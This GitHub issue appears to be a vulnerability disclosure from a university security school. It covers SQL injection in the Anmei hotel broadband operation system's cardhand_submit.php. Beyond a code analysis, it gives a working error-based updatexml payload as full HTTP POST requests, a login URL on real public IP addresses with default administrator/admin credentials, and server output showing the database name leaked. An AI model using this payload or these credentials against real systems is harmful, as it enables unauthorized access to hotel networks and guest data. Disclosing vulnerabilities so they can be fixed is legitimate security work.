

testnet0 / testnet Public

[Code](#) [Issues 17](#) [Pull requests](#) [Actions](#) [Projects](#) [Security and quality](#)

New issue



Anmei Digital Hotel Broadband Operation System SQL Injection Vulnerability #74

Open



MICHEY-Ben opened 3 weeks ago



Anmei Digital Hotel Broadband Operation System SQL Injection Vulnerability

First Guiding Unit

School of Cyberspace Security, Northwestern Polytechnical University

First author

Zheng Yunpeng

I. Impact of the Vulnerability

Anmei Century (Beijing) Technology Co., Ltd. Hotel Broadband Operation System

II. Vulnerability Location:

/manager/card/cardhand_submit.php

III. Code Analysis

In cardhand_submit.php, because both the \$phone_edit and \$id parameters are controllable, the \$id parameter can be directly passed into the SQL statement, creating an SQL injection vulnerability.

```
cardhand_submit.php
241 $SmsStr = str_replace( search: "{Password}", $Password, $SmsStr);
242 $SmsStr = str_replace( search: "{Hours}", $AmountTimeHour, $SmsStr);
243 $SmsStr = str_replace( search: "{Minutes}", $AmountTimeMin, $SmsStr);
244
245 if (send_msg($RegMobileNo, $SmsStr, type: "card", account_id: "$AccountID", local_lang: "$sms_lang_str")) {
246     $sqlcmd = "UPDATE T_Account SET SmsStatus=$SmsStatus, LastUpdateTime= $time WHERE AccountID= $accountid";
247     $sdb->query($sqlcmd);
248     if ($phone_edit == 1)
249         parent_alert_goto($lang['card_add_sms_send_successful'], urlto: "card_list.php?start=${start}&accountid=$accountid&id=$id&type=$type&hidden");
250     else
251         alert_goto($lang['card_add_sms_send_successful'], urlto: "cardhand_open.php?start=${start}&accountid=$accountid&id=$id&type=$type");
252 } else {
253     if ($phone_edit == 1)
254         parent_alert_goto($lang['card_add_sms_send_failure'], urlto: "card_list.php?start=${start}&id=$id&type=$type&urlstr=$hidden");
255     else
256         alert_goto($lang['card_add_sms_send_failure'], urlto: "cardhand_open.php?start=${start}&id=$id&type=$type&urlstr");
257 }
258 }
259 exit;
260 }
261 }
262 }
263 }
264 if ($phone_edit == 1)
265     $sqlcmd = "select AccountID, RegMobileNo from T_Account where AccountID=$id AND DisableFlag=0 LIMIT 1";
266 else
267     # 正常发卡
268     $sqlcmd = "select AccountID from T_Account where CardBatchID= $batchid and CheckInFlag=0 and DisableFlag=0 ORDER BY AccountID LIMIT 1";
269 $result = $sdb->query($sqlcmd);
270
271 if ($result && ($row = $sdb->fetch_row($result))) {
272     $accountid = $row[0];
273     $old_phone = $row[1];
274     if ($phone_edit == 1) {
275         $sqlcmd = "UPDATE T_Account SET RegMobileNo=$regmobileno, AccountID=$id";
276     }
277 }
```

当phone_edit参数为1时, 进入如下代码

这里id参数可控, 并直接带入到SQL语句中

IV. Vulnerability Reproduction

<https://113.140.76.67:6070/manager/login.php>

Log in to the backend

Username: administrator Password: admin



Get the current database name by injecting the id parameter.

POC

```
POST /manager/card/cardhand_submit.php?id=1'%20and%20updatexml(1,concat(0x7e,
(database())),3)--%20q&type=0&phone_edit=1 HTTP/1.1
Host: 202.97.137.229:62443
Cookie: PHPSESSID=qqjrsedibm8mutuiuk1gq6jar7
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101
Firefox/123.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
Origin: https://202.97.137.229:62443
Referer: https://202.97.137.229:62443/manager/card/cardhand_open.php?
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: frame
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
X-Forwarded-For: 192.168.1.23
Te: trailers
```

Connection: close

start=0&batchid=1&GuestName=111&RegMobileNo=212&RegIdType=1&RegIdNo=212

Database name successfully obtained: DB_HIBOS

Target: https://113.140.76.67:8070 HTTP/1

Request

```
1 POST /manager/card/cardhand_submit.php?id=1'%20and%20updatexml(1,concat(0x7e,(database())),3)--%20q&type=0&phone_edit=1 HTTP/1.1
2 Host: 113.140.76.67:8070
3 Cookie: PHPSESSID=2tpe1e2efcocki7s19veobnic1
4 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:148.0) Gecko/20100101 Firefox/148.0
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
6 Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
7 Accept-Encoding: gzip, deflate, br
8 Upgrade-Insecure-Requests: 1
9 Sec-Fetch-Dest: document
10 Sec-Fetch-Mode: navigate
11 Sec-Fetch-Site: none
12 Sec-Fetch-User: ?1
13 Priority: u=0, i
14 Te: trailers
15 Connection: keep-alive
16 Content-Type: application/x-www-form-urlencoded
17 Content-Length: 71
18
19 start=0&batchid=1&GuestName=111&RegMobileNo=212&RegIdType=1&RegIdNo=212
```

Response

系统警告

MySQL 出错信息

Message info: MySQL Query Error

SQL: SELECT AccountID FROM T_Account WHERE CardBatchID>0' AND RegMobileNo=212' AND ((FirstLoginTime>0' AND ((CardType=1' AND CardExpireTime>1776049769) OR (CardType=0' AND CardLeftTime>30' / CardExpireTime>1776049739))) OR (FirstLoginTime=0' AND CardExpireTime>1776049739)) AND DisableFlag=0' AND AccountID<>'1' updatexml(1,concat(0x7e,(database())),3)-- q'

Script: /manager/card/cardhand_submit.php

Error: XPATH syntax error: '-DB_HIBOS'

Errno: 1105

返回

[Sign up for free](#) to join this conversation on [GitHub](#). Already have an account? [Sign in to comment](#)

Metadata

Assignees

No one assigned

Labels

No labels

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Participants

